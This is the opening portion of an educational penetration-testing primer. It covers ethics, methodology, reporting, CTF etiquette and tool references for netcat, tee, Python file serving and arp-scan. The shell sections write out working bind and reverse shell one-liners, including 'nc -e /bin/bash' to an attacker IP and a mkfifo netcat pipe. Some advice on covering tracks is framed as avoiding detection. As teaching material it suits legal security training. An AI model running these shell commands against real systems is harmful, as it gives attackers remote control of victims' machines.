<<

No Skids Allowed! A Pentester's Primer

Christopher M. Steffen

May 28, 2020

TABLE OF CONTENTS

1 Fundamentals 3 1.1 Introduction...... 3 1.2 Ethics...... 4 1.3 General Knowledge...... 4 1.4 The Hacker’s Toolkit...... 5 1.4.1 Virtual Machines and Operating Systems...... 5 1.4.1.1 Windows...... 5 1.4.1.2 Apple macOS...... 6 1.4.1.3 ...... 6 1.4.1.4 And So On...... 6 1.4.2 Programming Languages...... 7 1.4.3 Search Engines and Google-Fu...... 7 1.5 Pentest Methodology...... 7 1.6 Reporting...... 9 1.7 Hacker Etiquette...... 10 1.7.1 Keep it Stable...... 10 1.7.1.1 Don’t be a DoSser...... 10 1.7.1.2 Avoid Brute-Force...... 10 1.7.2 Cover Your Tracks...... 11

2 Tools and Techniques 13 2.1 General-Purpose...... 13 2.1.1 Tools...... 13 2.1.1.1 Netcat: The Network Swiss-Army Knife...... 13 2.1.1.2 Tee: Transparently Save Output from Tools...... 15 2.1.2 File Transfers...... 16 2.1.2.1 Transferring Files with Python...... 16 2.1.3 Popping Shells...... 17 2.1.3.1 Netcat Shells...... 18 2.2 Enumeration...... 19 2.2.1 Tools...... 19 2.2.1.1 ARP-Scan: The ARP Scanner...... 19 2.2.1.2 Enum4linux: SMB & Samba Enumeration...... 21 2.2.1.3 Nmap: the Network Mapper...... 22 2.2.1.4 smbclient: FTP-Like Client for SMB & Samba...... 24 2.3 Vulnerability Assessment...... 26 2.3.1 Tools...... 26 2.3.1.1 SearchSploit: a Searchable Database of Exploits...... 26 2.4 Exploitation...... 28 2.4.1 Tools...... 28

i 2.4.1.1 The Metasploit Framework: Hacking on Rails...... 28 2.4.1.2 Meterpreter: MSF’s Premier ...... 30 2.5 Post-Exploitation...... 31 2.5.1 Windows Post-Exploitation...... 31 2.5.1.1 Basic Commands...... 32

3 Walk-Throughs 33 3.1 HackTheBox...... 33 3.1.1 Legacy...... 34 3.1.1.1 Enumeration...... 34 3.1.1.2 Vulnerability Assessment...... 35 3.1.1.3 Exploitation...... 39 3.1.1.4 Capturing Flags...... 43 3.1.2 Lame...... 45 3.1.2.1 Enumeration...... 45 3.1.2.2 Vulnerability Assessment...... 50 3.1.2.3 Exploitation...... 54 3.2 VulnHub...... 60 3.2.1 Kioptrix Level 1...... 60 3.2.1.1 Enumeration...... 61 3.2.1.2 Vulnerability Assessment...... 67 3.2.1.3 Exploitation...... 69

4 Quick Reference 77 4.1 CTF Platforms...... 77 4.2 Pentesting Methodologies...... 77 4.3 Search Engines and OSINT Resources...... 77 4.3.1 OSINT Resources...... 77 4.3.2 General-Purpose...... 77 4.3.3 Google Dorks...... 78 4.3.4 Exploits and Vulnerabilities...... 78 4.3.5 Images...... 78 4.3.6 Internet-Connected Devices...... 78 4.3.7 Source Code...... 78 4.3.8 Usernames...... 78

5 Glossary 79

Index 81

ii No Skids Allowed! A Pentester's Primer

Warning: The contents of this compendium are provided as educational and reference material for those interested in legal hacking. They are not intended to promote nor encourage illegal activities. The creators of this guide are not responsible for the actions of its readers.

GET CONNECTED! • Read the Guide Online! • Read the Guide on Tor! • Get the Latest PDF! • Join the Team on Keybase! • Help Build the Guide!

CHANGE LOG This version of No Skids Allowed! was published May 28th, 2020. • 2020.05.28: Revised layout and added walk-through of Lame from HackTheBox. • 2020.05.10: Reorganized document in preparation of expansion. Added etiquette. • 2020.04.10: Created website (with Tor support) and Keybase team. • 2020.04.07: Finished walk-through of Kioptrix Level 1 from VulnHub. • 2020.03.16: Finished “First Steps” chapter, detailing walk-through of Legacy from HackTheBox.

TABLE OF CONTENTS 1 No Skids Allowed! A Pentester's Primer

2 TABLE OF CONTENTS CHAPTER ONE

FUNDAMENTALS

The following sections cover the basic knowledge and skills you’ll need in order to start your journey as a computer hacker.

1.1 Introduction

In common usage, a script kiddie (or skid) is an unskilled individual who uses other people’s tools and exploits without understanding how or why they work, all the while calling themself a “hacker.” The term is sometimes used as a form of gate-keeping, putting down novice “wannabe” hackers for lacking knowledge they’ve had no chance to obtain. Is there anything in your life that you take for granted, without really understanding how it works? I drive my car every day, but I’m no mechanic. I couldn’t tell you how microwaves work, but I use them to make popcorn. I use other people’s inventions every day without ever knowing how they work. I don’t pretend to be a mechanic when I change my oil, nor a physicist when I make popcorn, but the fact remains: in many aspects of life, I’m a total skid. And that’s okay. In the Hacker Jargon File, a hacker is “an expert or enthusiast of any kind,” or “one who enjoys the intellectual challenge of creatively overcoming or circumventing limitations.” If we apply the same liberal brush to the term “script kiddie,” we could say that a skid is someone who takes advantage of systems in their environment without any deeper understanding or appreciation for how those systems function. If this is the case, then we’re all skids at first. We’re born skids, dependent on the world and people around us, and utterly clueless as to how any of it works. But as we learn, we grow, until we’re not so skiddish anymore. And that’s the secret: To stop being a skid, all you gotta do is stay curious, and keep learning. That’s what No Skids Allowed! is all about. It’s not about skid-shaming, it’s about learning and improving and growing, and keeping each other accountable, so that we might accurately call ourselves “hackers.” It’s not an easy path. Learning can be quite challenging, especially when the topic is as complex and diverse as In- formation Security. Whoever said, “Do what you love, and you’ll never work a day in your life” clearly wasn’t a hacker. . . Even the most passionate and skilled professional knows that attaining mastery over a skill takes persever- ance and strength of will. And sometimes, no matter how good you are, you’re just going to have a rough day. It’s totally fine to be an amateur, to make mistakes, to lack knowledge and skill. If you haven’t failed, you haven’t tried. And if you ever feel like you’re in over your head, just remember the wise words of Jake the Dog:

3 No Skids Allowed! A Pentester's Primer

Fig. 1: “Sucking at something is the first step to becoming sorta good at something.” -Jake the Dog Image and quote from Adventure Time by Pendleton Ward

1.2 Ethics

The art of hacking can be legally and ethically ambiguous at times. For professionals, proper permission can make the difference between a paycheck and a prison term. Pentesters must work within the boundaries of a defined scope, which provides the parameters and restrictions of the . Violating the scope of a penetration test can lead to dire legal consequences. However, legality isn’t the only consideration to be made. That which is legal is not always ethical, and that which is ethical is not always legal. It is vital that hackers consider the ethics of their actions, and the potential consequences those actions may have in the world. The subject of ethics weighs heavily into discussions about the disclosure of vulnerabilities, hacktivism, state- sponsored cyber-warfare, “hack-back” legislation, and many others. These subjects are highly subjective and widely debated, and will continue to evolve along with technology and global views on ethics. This guide is written for ethical hackers. To be an ethical hacker, one must have a code of ethics. The authors of this guide make no claims of moral or ethical authority. Your choices are your own. We urge you to cultivate and abide by a strong code of personal ethics, not just for hacking, but for life.

1.3 General Knowledge

The subject of computer hacking is vast and deep, allowing for endless exploration and specialism. There is, however, a shared foundation of general knowledge upon which nearly everything depends. At a minimum, a computer hacker should know how to operate a computer and connect to the Internet, as well as how to write software or scripts. A familiarity with internet search engines is also essential. (These topics will be covered in more depth in the The Hacker’s Toolkit.) It is also useful to study the OSI model and Internet protocol suite (TCP/IP) in order to understand how the Internet works and how systems communicate with each other. TCP and UDP are also worth studying, as they’re the most common network communication protocols currently in use.

4 Chapter 1. Fundamentals No Skids Allowed! A Pentester's Primer

1.4 The Hacker’s Toolkit

Every hacker has their own unique approach to the craft, and a unique toolkit to compliment their approach. However, the basic essentials are largely the same. At a minimum, a hacker needs access to a computer and the internet. The rest is up to the individual. The following sections detail some of the different technologies commonly included in a hacker’s toolkit. More in-depth discussion of specific tools can be found in chapters 3 through 9 of this document.

1.4.1 Virtual Machines and Operating Systems

Perhaps the most fundamental choice in designing your hacker toolkit will be which (OS) to use. Prior to virtualization technology, the choice of OS was crucial, as it limited the range of tools available. Hackers often chose to use Linux, as it supported the largest range of pentesting tools at the lowest up-front cost. However, with the rise of virtual machines (VMs), which allow users to run multiple guest OSes inside a host OS, hackers were granted the freedom to run whichever host and guest OSes they wanted. In recent years, virtualization has become one of the most prevalent and important technologies, with numerous virtualization options available to users. Presently, two of the biggest names in desktop virtualization are VMWare and VirtualBox, the former a commercial entity, the latter open-source. Both offer free software for running virtual machines.

Note: Throughout this book, I’ll be using VirtualBox in our tutorials, as it is free and open-source. If you prefer to use VMWare, you may need to adjust some of the instructions accordingly.

Hackers use all sorts of OSes with various configurations, often using virtualization to run more specialized systems like from within their host OS. These guest OSes are used to conduct attacks, while notes and reports are kept on the host OS. When the job is complete, post-pentest cleanup is as easy as deleting or reverting the VM. Despite the freedom granted by virtualization, hackers must still make a choice of what guest OSes to use, and for which purposes.

Note: Entire books have been written on the subject of virtualization, and a wide variety of software and hardware platforms exist for the purpose. As such, an in-depth discussion is beyond the scope of this guide. Definitely learn as much as you can; virtualization is one of the most important technologies of our time.

1.4.1.1

While the selection of offensive hacking tools is more limited on Windows systems, there are still plenty of options available, making it a worthy inclusion in a hacker’s offensive toolkit. In fact, software distributions like Flare-VM and Commando-VM by FireEye enable hackers to quickly and easily configure their Windows systems for penetration- testing and forensics. Windows VMs aren’t just useful for offensive operations, however. Hackers often use Windows VMs for testing attacks and mitigation, or for compiling software to be used on other Windows systems. To this end, Microsoft released a free Windows 10 Development Environment, featuring a full suite of development tools. A selection of other free Windows Virtual Machines are also available, enabling developers and hackers to test a variety of Windows versions and browsers.

1.4. The Hacker’s Toolkit 5 No Skids Allowed! A Pentester's Primer

1.4.1.2 Apple macOS

Based on the Berkeley Software Distribution (BSD), Apple’s macOS has gained a large following among hackers and non-hackers alike. It’s a popular choice for host OS, thanks to security, stability, speed, and personal preference. However, macOS is not commonly used as a guest VM, largely due to the technical and legal complications involved. This hasn’t prevented hackers from using macOS in their pentests, but it has limited the availability of macOS to those willing to purchase a Mac (or create a “Hackintosh”). For hackers looking to use macOS as the foundation of their toolkit, instead of simply using VMs, the most common tools can be installed via . Some have turned to Docker to run tools otherwise unavailable on macOS, but this is just another form of virtualization. (Not that there’s anything wrong with that.)

1.4.1.3 Linux

By far the most popular choice for hackers, Linux has become a main-stay in the industry. While popular distributions like Arch, CentOS, and Fedora serve as a solid foundation for developing a toolkit, many hackers opt for pre-configured pentest-focused distributions like BlackArch, Kali and Parrot for use in their VMs. Much like Windows, Linux VMs are also quite useful for testing attacks and mitigation, software development, and other functions. In fact, with the prevalence of Linux systems in corporate and internet-facing environments, the ability to navigate and operate a Linux system is an essential hacker skill.

Note: In the InfoSec world, the Kali has become the de facto standard. The distribution includes a robust pentesting toolkit, pre-configured for the sake of simplicity. As such, the remainder of this guide will assume the use of Kali Linux, unless otherwise stated. That being said, the tools and techniques in the guide are not specific to Kali, and can oft be used with little or no alteration in other Linux distributions. Readers unfamiliar with Kali should read the Kali documentation and/or the free Kali Linux Revealed ebook. This guide assumes a basic familiarity with Kali.

1.4.1.4 And So On. . .

Many other Operating Systems exist beyond the Big Three. The Berkeley Software Distribution (BSD) has a variety of descendants, such as FreeBSD, OpenBSD and NetBSD. In some environments, you’ll find systems running Solaris or one of its open-source descendants, such as illumos and its derivative OpenIndiana. You might even find systems running FreeDOS or ReactOS, open-source alternatives to MS-DOS and Windows (respectively).

Note: No matter which OS you prefer to use, you should strive to familiarize yourself with each of the Big Three (Windows, macOS, and Linux), and probably BSD and Solaris as well. You never know what you’ll encounter; adaptability is crucial. Here are a few resources for learning how to use the various systems’ command-line interfaces (since this will often be your first point of contact with a system): • Windows: ComputerHope CMD.EXE Tutorial • macOS: Apple Developer Portal Command Line Primer • Linux: Linux.com Command Line Basics

6 Chapter 1. Fundamentals No Skids Allowed! A Pentester's Primer

1.4.2 Programming Languages

As a hacker, you’ll often be elbow-deep in code. Whether performing an audit to find vulnerabilities, tweaking an exploit to work with a specific target, or writing a new Remote-Access Trojan (RAT) to take over a system, you need to know how to read and write a variety of programming languages. At a minimum, you should be familiar with a general-purpose, cross-platform programming language like Python, as well as the fundamentals necessary to write shell scripts for various OSes. Fortunately, there are plenty of free resources online where you can learn the basics: • Learn Python • Learn JavaScript • Learn PHP • Learn Shell Scripting • Learn Windows Batch Scripting • Learn Windows PowerShell

Warning: The remainder of this guide is written with the assumption that the reader is familiar with programming concepts and languages. The art of computer programming is so vast and complex that an in-depth discussion is beyond the scope of this guide.

1.4.3 Search Engines and Google-Fu

Perhaps the most important tool in your arsenal, search engines provide a means of quickly and efficiently sorting through the totality of human knowledge. Sometimes referred to as Google-Fu, true search-engine mastery will enable you to learn just about anything, and plays a pivotal role in nearly every aspect of a hacker’s craft. Most popular search engines (such as Google and DuckDuckGo) feature a robust search syntax, providing powerful tools for narrowing search results. Historically, hackers have used the term Dork (as in “Google Dork”) to refer to a syntactical search recipe. For example, the Google Hacking Database features a collection of Dorks to identify websites and computer systems with vulnerable software or configurations. Another important consideration when perfecting your search-engine skills is which search engine to use. Sites like Google and DuckDuckGo are excellent for finding all kinds of information, but at times it can be better to use smaller, more specialized search engines and databases. For example, when seeking to identify software vulnerabilities, you might turn to the NIST National Vulnerability Database or the Exploit Database. For additional search engines, check out the Quick Reference.

1.5 Pentest Methodology

A good methodology is the most valuable tool in a hacker’s toolkit. As in other areas of engineering and science, pentesting is most effective when based on the foundation of a solid methodology. A variety of penetration testing methodologies have been published, each outlining a set of phases and objectives. These methodologies help ensure a thorough, comprehensive test, and help hackers stay organized and maximize their effectiveness. For this reason, a solid methodology is the most valuable tool a hacker can possess. One of the most basic and widely-recognized standard methodologies is the Penetration Testing Execution Standard (PTES). Other standards, such as the Open Source Methodology Manual (OSSTMM) or the Penetra- tion Testing Framework (PTF), are widely-used as well.

1.5. Pentest Methodology 7 No Skids Allowed! A Pentester's Primer

Note: For more information about various methodologies, check out the OWASP Wiki.

Let’s take a closer look at the PTES. Here’s a summary breakdown: 1. Pre-Engagement Interactions • All the “business stuff” that must be done prior to the engagement. • Determine the scope of the engagement. • Declare the rules of engagement. • Discuss time constraints. • Negotiate hourly fee. 2. Intelligence Gathering • Collect information about the target. • OSINT • Passive Reconnaissance (No direct contact with targets.) • Active Reconnaissance (Direct contact with targets.) 3. Threat Modeling • Determine the most valuable targets, and most likely attackers. • Helps prioritize targets/attacks and maximize the value of the test. 4. Vulnerability Analysis • Discover flaws which can be leveraged by an attacker. • Enumerate potential weak-points (vulnerable services, policies, etc.). 5. Exploitation • Actively exploit discovered weaknesses to confirm vulnerabilities. 6. Post-Exploitation • Discover additional information, routes to compromise, etc. • Exfiltrate valuable data. • Maintain and expand access. 7. Reporting • Convey the results of the test to the client. • High-level summary as well as low-level, in-depth analysis and walk-through. At first glance, this might seem pretty complicated. And if you take a closer look at the [PTES](http://www. pentest-standard.org/index.php/Main_Page), you’ll find that there are a great many steps involved in each section of the test. However, the PTES and other methodologies aren’t as complicated as they seem. They include detailed information and instructions, but this is mainly to prevent accidental oversight. In truth, each of the established penetration testing methodologies essentially follow the Scientific Method: 1. Ask a question. 2. Do background research. 3. Construct a hypothesis.

8 Chapter 1. Fundamentals No Skids Allowed! A Pentester's Primer

4. Test with an experiment. 5. Did the experiment work? • No? Troubleshoot the procedure, then return to 4. • Yes? Proceed to 6. 6. Analyze the data and draw conclusions. 7. Do the results align with your hypothesis? • Partially / not at all? Use your experimental data as the basis for new research and experiments. Proceed to 8. • Yes? Proceed to 8. 8. Communicate the results. A penetration test is, essentially, the Scientific Method applied to security. In the pre-engagement interactions, you establish the experiment’s question. Essentially, “How is my client vulnerable to attack?” The scope narrows the focus of the question, defining the constraints of the experiment. Once the scope is defined, you move on to the research portion, gathering intelligence about the target. Threat modeling enables you to construct a hypothesis about potential routes for exploitation. To confirm or reject hypotheses, pentesters conduct simulated attacks (experiments, essentially). These simulated attacks each follow their own Scientific Method, from question (“Is this version of Sendmail vulnera- ble?”) to hypothesis (“This CVE should provide remote code execution.”) to experimentation, analysis, and conclusion (“This version of Sendmail is not vulnerable to this CVE.”), after which the results of the experiment are recorded. Once all the attacks are complete, the pentester analyzes all the data and draws conclusions, which are communicated to the client in a final report.

1.6 Reporting

When a client purchases a penetration test, the real return on their investment is the report. Without the report, the pentest is pointless. The report must be comprehensive and well-crafted, and typically includes two primary sections: • Executive Summary: A non-technical overview aimed at management. • Detailed Report: An in-depth technical record of the engagement. Considering the importance of reporting, it is essential to be accurate and comprehensive. Detailed, step-by-step instructions are often called for, and it is common practice to include screenshots for each step of the attack simulation. Some hackers use screen recording software to record an entire pentest, then go back and grab screenshots from the video, so as to ensure that nothing is lost. This can be especially helpful if you happened to forget to include a screenshot of a vital step in the process. Rather than having to re-hack the target, you can simply take a screenshot from the video. Such a video can also help the hacker augment their memory when writing the technical report. With so many things happening in a pentest, it’s easy to get overwhelmed by all the data. The video recording allows them to see their process from start to finish, even if they forgot how they performed a specific attack. But screenshots and video recordings aren’t enough; during the pentest itself, it’s necessary to keep track of a great deal of data. For this, most pentesters take extensive notes throughout the pentest process. Note-taking apps like Joplin and CherryTree are commonly-used for their organizational structure. One of the best ways to not only keep yourself organized during a pentest, but to simplify the report-writing process, is to write the report throughout the test. Many people wait until after a pentest is complete to comb through their notes and screenshots and compile their report. However, this is a sub-optimal approach, requiring a great deal of effort all at once, and all at the tail end of a thorough penetration test. By writing the report throughout the pentest, you reinforce

1.6. Reporting 9 No Skids Allowed! A Pentester's Primer your understanding of the pentest-thus-far, which can help you keep your thoughts straight as you proceed. On top of that, you save yourself a great deal of effort at the end of the pentest; instead of writing a report from scratch, you need only revise the report you’ve already written.

Note: If you’re curious to learn more about how a pentest report is written, check out this curated list of public pentesting reports. Here you can read all the real, professionally-produced pentest reports you could possibly ever want.

1.7 Hacker Etiquette

As a hacker of the ethical variety, you should always be mindful of the consequences of your actions, both in the physical and the digital realms. As such, we’ve compiled the following unofficial, highly subjective collection of rules and guidelines on Hacker Etiquette.

1.7.1 Keep it Stable

Don’t systems if you can help it. Research your exploits. Know the risks. If possible, test exploits on a custom- built VM before attempting to use them against your target. Whatever you do, avoid taking actions that will destabilize a target. In a CTF, destabilizing a target will result in other users being unable to hack that target. Sure, on sites like HTB you could just hit the reset button and revert the box, but that’s bad form. Resetting a box will eject anyone currently trying to hack that box, causing them to have to start over. It’s better to avoid crashing the system in the first place. In the real world, crashing systems is a surefire way to be detected. In addition, it reduces your attack surface and could incur a significant cost to your target.

1.7.1.1 Don’t be a DoSser

Along the same vein of Keep it Stable, Denial of Service attacks are one of the least useful and most obnoxious in a hacker’s arsenal. They are a tool, like any other, and as such are not inherently good or evil. However, I’ll hazard to say that 99% of the DoS attacks committed don’t serve any good purpose. Don’t be a DoSser.

1.7.1.2 Avoid Brute-Force

Another topic related to keeping it stable is brute-force attacks. Generally speaking, you should avoid brute-force as much as possible, and when brute-force is necessary, do your best to limit the scope of the attack. Unbridled brute- force attacks can destabilize or crash target systems. They are noisy and increase your likelihood of detection. In most CTFs, brute-force techniques are unnecessary. In the real-world, if you’re spraying rockyou.txt at a target’s SSH login, you’re already in the weeds.

10 Chapter 1. Fundamentals No Skids Allowed! A Pentester's Primer

1.7.2 Cover Your Tracks

Don’t be a slob. Clean up after yourself. Whether you’ve uploaded files, changed databases or configurations, or made any other changes on a system, you should attempt to reverse these changes when they’re no longer necessary. In a CTF, leaving evidence of your attacks and attempts can spoil the challenge for other contenders, or give them an advantage by allowing them to take advantage of all your hard work. Before you say “just reset the box,” remember what we said earlier: that’s bad form. The reset button should only be used if the system is broken. It’s better to just cover your tracks. In the real world, leaving tracks on a system not only increases your chance of getting caught on that system, but it also makes it easier for other attackers to compromise your target.

1.7. Hacker Etiquette 11 No Skids Allowed! A Pentester's Primer

12 Chapter 1. Fundamentals CHAPTER TWO

TOOLS AND TECHNIQUES

The sections in this chapter contain a bounty of information about various tools and techniques used by hackers. These sections are cross-referenced with the walk-throughs in Chapter 3, allowing you to see a practical use for every tool.

2.1 General-Purpose

This section explores common tools and techniques are useful throughout a pentest.

2.1.1 Tools

2.1.1.1 Netcat: The Network Swiss-Army Knife

OS All major operating systems. Website https://nc110.sourceforge.io/

Reference Walk-Throughs HackTheBox Lame VulnHub Kioptrix Level 1

See Also Netcat Shells

What is netcat?

From the homepage: Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol. While netcat might sound like a simple utility (it is), it is useful for an incredibly broad variety of network applications. For this reason, it has become an essential part of every hacker’s toolkit. Netcat was originally written for Unix-like systems. However, it has been ported to pretty much every OS on the planet.

13 No Skids Allowed! A Pentester's Primer

How does it work?

Netcat establishes raw TCP and UDP connections and allows you to interact with those connections manually (via standard input and output) or via scripts. Where most similar utilities (such as telnet) terminate the connection upon receipt of an “End-of-File” (EOF) byte, netcat instead keeps the connection open, transmitting and receiving data until the connection is broken by the network (or manually closed). Netcat can also act as a server, binding to a specific port and listening for incoming connections. It can be scripted or accessed manually, regardless of whether it’s used as client or server.

Using netcat

To use netcat, simply type nc on the command line, along with whatever arguments you wish to pass. Examples:

nc -vnlp 6666 nc google.com 80 nc -vn -w 3 10.10.10.3 6200 nc -nlp 6666 -e /bin/bash

At a minimum, netcat requires an IP and port number when running as a client, or a port number when running as a server.

-e: Pipe an Executable

Example: nc -e /bin/bash 10.10.14.15 6666 The -e flag tells netcat to bind the specified executable to the established network connection. Incoming data from the network is sent to the executable’s standard input, and standard output is sent back over the network. This functionality can be used to establish backdoors in systems, among other actions. This is why the -e flag is commonly referred to as the “gaping security hole” in netcat, despite working exactly as intended.

Note: Most modern OSes ship with a modified version of netcat with the -e option disabled, so as to close the “gaping security hole.” However, even with these altered versions, netcat can be used as a ; it just takes a little more effort.

-l and -p: Bind and Listen on Port

Example: nc -lp 6666 Using the -l flag tells netcat to bind and listen on the port specified by the -p flag.

Note: On most OSes, ports 0 through 1023 are reserved for privileged services, and require administrative privileges before they can be bound. If you wish to use netcat on one of these ports, you’ll need to do so as a privileged (such as root).

14 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

-n: Skip DNS Name Resolution

Example: nc -n 10.10.10.3 21 When netcat establishes a connection to a remote system, it may attempt to perform DNS resolution for the provided host name. When providing an IP, you can skip this name resolution by using the -n flag.

-v: Verbose Output

Example: nc -v 10.10.10.3 6200 Typically, the only output netcat provides is the output sent from the network. The -v flag tells netcat to provide more verbose output, including data about the status of the connection. It can be helpful for understanding more about what’s going on behind the scenes.

-w: Close Connection After Time-Out

Example: nc -v -w3 10.10.10.3 6200 After establishing a connection, netcat will leave the connection open for as long as you allow it to run, or until the network closes the connection. This can be troublesome when you want netcat to close when data is no longer being sent. In order to close a netcat connection automatically, you can specify a time-out value using the -w flag, which tells netcat how long to wait before closing an inactive connection.

2.1.1.2 Tee: Transparently Save Output from Tools

OS All major sperating systems.

Reference Walk-Throughs HackTheBox Lame VulnHub Kioptrix Level 1

What is tee?

The tee utility transparently pipes the output of a command-line utility into a text file, while continuing to display the output of the command as usual.

How does it work?

By piping the output of a command into tee, the STDOUT (standard output) of that command becomes the STDIN (standard input) of tee. When tee receives this input, it sends the data to its own STDOUT (printing it to the screen) while simultaneously saving the output to a file.

2.1. General-Purpose 15 No Skids Allowed! A Pentester's Primer

Using tee

Note: The following instructions apply to the tee command on Unix-like systems, such as Linux or BSD. There is also a tee command in FreeDOS, PowerShell, and other systems. For more information on how to use tee in these contexts, you should exercise your Google-fu.

To use tee, simply pipe the output of another tool into the tee utility by using the pipe (|) symbol, and append any command-line modifiers you wish, followed by one or more file names to which you would like the output saved. Examples: cat file1.txt | tee file2.txt enum4linux 10.1.1.102 | tee -a target.enum4linux echo "something important" | tee file1.txt file2.txt

At a minimum, tee expects to be passed at least one filename.

-a: Append to the Specified File(s)

Example: cat file1.txt | tee -a file2.txt By default, tee will erase the contents of whatever output files are specified prior to writing the new contents. By using the -a flag, you can tell tee to append to the file instead. This preserves the existing data in the file, adding the new data to the end of the file. This is similar to the >> redirection in Linux, which appends to the output file, as opposed to the > redirection, which overwrites the output file.

2.1.2 File Transfers

Sometimes, during the course of a pentest or CTF event, you’ll need to transfer a file from one system to another via the command line. Perhaps you need to exfiltrate a file containing a bunch of passwords, or copy a compiled exploit to a target system. The following sections will reveal various ways of accomplishing these tasks using basic tools commonly found on systems in the wild.

2.1.2.1 Transferring Files with Python

Reference Walk-Throughs VulnHub Kioptrix Level 1

Most modern Linux distributions are shipped with Python 2 and/or Python 3 pre-installed. The following methods can be used to easily send files from a sender to a recipient system using Python.

16 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

Hosting an Ad-Hoc HTTP Server

One simple method for sharing a file across the network is by creating an ad-hoc HTTP server on the sender system, then downloading shared files to the recipient system using any number of HTTP clients, such as wget or curl.

Note: If you intend to host an HTTP server on port 80, as per common usage, you’ll need to run the following commands with root- or admin-level permissions. It is therefore advised, on Unix-like systems, to use the sudo utility to run these commands as root.

To host an ad-hoc HTTP server with Python 3, use the following command: python3 -m http.server 80

With Python 2, use the following command instead: python -m SimpleHTTPServer 80

In either case, to stop the HTTP server, you can hit Ctrl-C.

2.1.3 Popping Shells

While learning to exploit various services and applications is fun and exciting, in the end our goal is almost always to gain command-line access to our targets. (Hackers sometimes call this “popping shells.”) The most commonly-used methods are the TCP Bind and Reverse shells. Bind Shells are the simplest form of shells. To create a bind shell, a command-line interpreter (such as cmd.exe or /bin/bash) is bound to a local port on the target system, and the remote attacker connects to that port in order to gain access to the system. The target acts as a server, and the attacker acts as a client. Reverse Shells work in the opposite direction. To create a reverse shell, the attacker binds an application to listen to a local port on the attacking machine, then instructs the target system to act as a client, connecting to the attacker’s machine on the specified port, and piping all input and output to the command-line interpreter. In this way, the attacker acts as a server, and the target acts as a client. While Bind shells are simpler to create, they require the attacker to be able to connect on the bound port. If a firewall is blocking inbound connections to strange ports, this can make a Bind shell impossible. This is where Reverse shells shine: they instruct the target to create an outbound connection to the attacker. Firewalls are less likely to block outbound traffic, especially if it’s going to popular ports like 443 (HTTPS). By establishing a Reverse shell on port 443, the connection is significantly more likely to succeed. The following sections discuss the various methods commonly used to establish these types of shells. In each example, the following substitutions are made: • [Target IP]: The IP of the target. • [Attacker IP]: The IP of the attacker. • [Port]: The communication port. Consider the following reverse shell example: nc -e /bin/bash [Attacker IP] [Port]

In practice, you’ll substitute the appropriate values, like so: nc -e /bin/bash 10.10.14.15 443

2.1. General-Purpose 17 No Skids Allowed! A Pentester's Primer

2.1.3.1 Netcat Shells

Reference Walk-Throughs HackTheBox Lame VulnHub Kioptrix Level 1

See Also Netcat: The Network Swiss-Army Knife

The netcat utility is one of the most popular tools for establishing both Bind and Reverse shells during pentests and CTFs. However, it is important to note that the method for establishing these shells will differ based on whether the installed version supports the -e flag. Without the -e flag, establishing shells with netcat becomes tricky, if not impossible, depending on the target OS. On Unix-like systems, the lack of -e flag can be bypassed through some creative I/O redirection. On Windows systems, this isn’t so easy. Fortunately, Kali comes bundled with a Windows-compatible nc.exe binary which has the -e flag enabled. This file is located in the /usr/share/windows-binaries directory. If you can manage to upload this file, you can use it to establish both Bind and Reverse shells easily.

Establish Bind Shell

With versions of netcat which support the -e flag, creating a bind shell is simple. Examples:

Unix: nc -e /bin/bash -lp [Port] Windows: nc.exe -e cmd.exe -lp [Port]

In versions of netcat without support for the -e flag, creating a bind shell on Windows is not possible. On Unix-like systems, however, bind shells can be established with a little I/O redirection:

rm /tmp/x;mkfifo /tmp/x;cat /tmp/x |/bin/sh -i 2>&1 |nc -lp [Port] >/tmp/x

Connect to Bind Shell

To connect to a Bind shell established on a remote system using netcat, use the following syntax:

Unix: nc [Target IP] [Port] Windows: nc.exe [Target IP] [Port]

Catch a Reverse Shell

In order to create a reverse shell, you’ll first need to establish a Listener to catch the incoming connection. This can be done with the following syntax:

Unix: nc -lp [Port] Windows: nc.exe -lp [Port]

18 Chapter 2. Tools and Techniques No Skids Allowed! A Pentester's Primer

Establish Reverse Shell

After creating a Listener to catch incoming connections, you’re ready to establish a Reverse shell. In versions of netcat with support for the -e flag, this is simple:

Unix: nc -e /bin/bash [Attacker IP] [Port] Windows: nc.exe -e cmd.exe [Attacker IP] [Port]

In versions of netcat without support for the -e flag, creating a Reverse shell on Windows is not possible. However, in Unix-like systems, it can be accomplished via I/O redirection: rm /tmp/x;mkfifo /tmp/x;cat /tmp/x |/bin/sh -i 2>&1 |nc [Attacker IP] [Port] >/tmp/x

2.2 Enumeration

Enumeration is the process of gathering useful information about a target. It is the most valuable skill you can develop as a hacker. At the start of a penetration test, the goal is to learn as much about the target as you can. The information gathered in this phase will lay the groundwork for the rest of the penetration test. But enumeration doesn’t end once you’ve gained access to a target; it is an essential element of the entire pentest. As each vulnerability is exploited, you’ll gain additional access, information, and/or privileges, all of which enable additional enumeration. The tools and techniques discussed in this chapter will help with the enumeration process, enabling you to gain as much information as possible about your targets, regardless of the current pentesting phase.

2.2.1 Tools

2.2.1.1 ARP-Scan: The ARP Scanner

OS Linux / MacOS / BSD / Solaris Website https://github.com/royhills/arp-scan

Reference Walk-Throughs VulnHub Kioptrix Level 1

What is arp-scan?

The arp-scan utility scans networks to determine which IPs have been associated with which MAC addresses. It can be used to enumerate live systems on a network, and is even able to reveal systems that don’t respond to ICMP Ping requests.

2.2. Enumeration 19 No Skids Allowed! A Pentester's Primer

How does it work?

The arp-scan utility sends ARP request packets for each of the specified IPs on the local network. By default, these ARP packets are sent to the Ethernet broadcast address (ff:ff:ff:ff:ff:ff), which relays the ARP request to all of the systems on the network. Live systems will reply with their IP address, allowing arp-scan to identify which IPs belong to which MAC addresses. This utility will reveal systems even if they don’t respond to an ICMP Ping request, because ARP is a fundamental network protocol used by all systems to enable communication with other devices. If a system did not reply to ARP requests, it would not be able to interact with other devices on the network.

Using arp-scan

Note: The arp-scan utility requires root privileges to run, and should therefore be run with sudo or as the root user.

To use arp-scan, simply type sudo arp-scan in the command line, followed by the necessary command-line arguments. Examples: sudo arp-scan 10.1.1.0/24 sudo arp-scan -I eth1 10.1.1.0/24 sudo arp-scan 10.1.1.100-10.1.1.150 sudo arp-scan -I eth1 -f target-ips.txt

At a minimum, arp-scan expects an IP or range of IPs to be specified. Multiple IPs can be specified either using CIDR notation or a hyphenated range, as demonstrated above. The arp-scan utility is quite versatile, and includes many command-line options. The most commonly-used options are detailed below. For more information, review the arp-scan manual pages by running man arp-scan in the command-line.

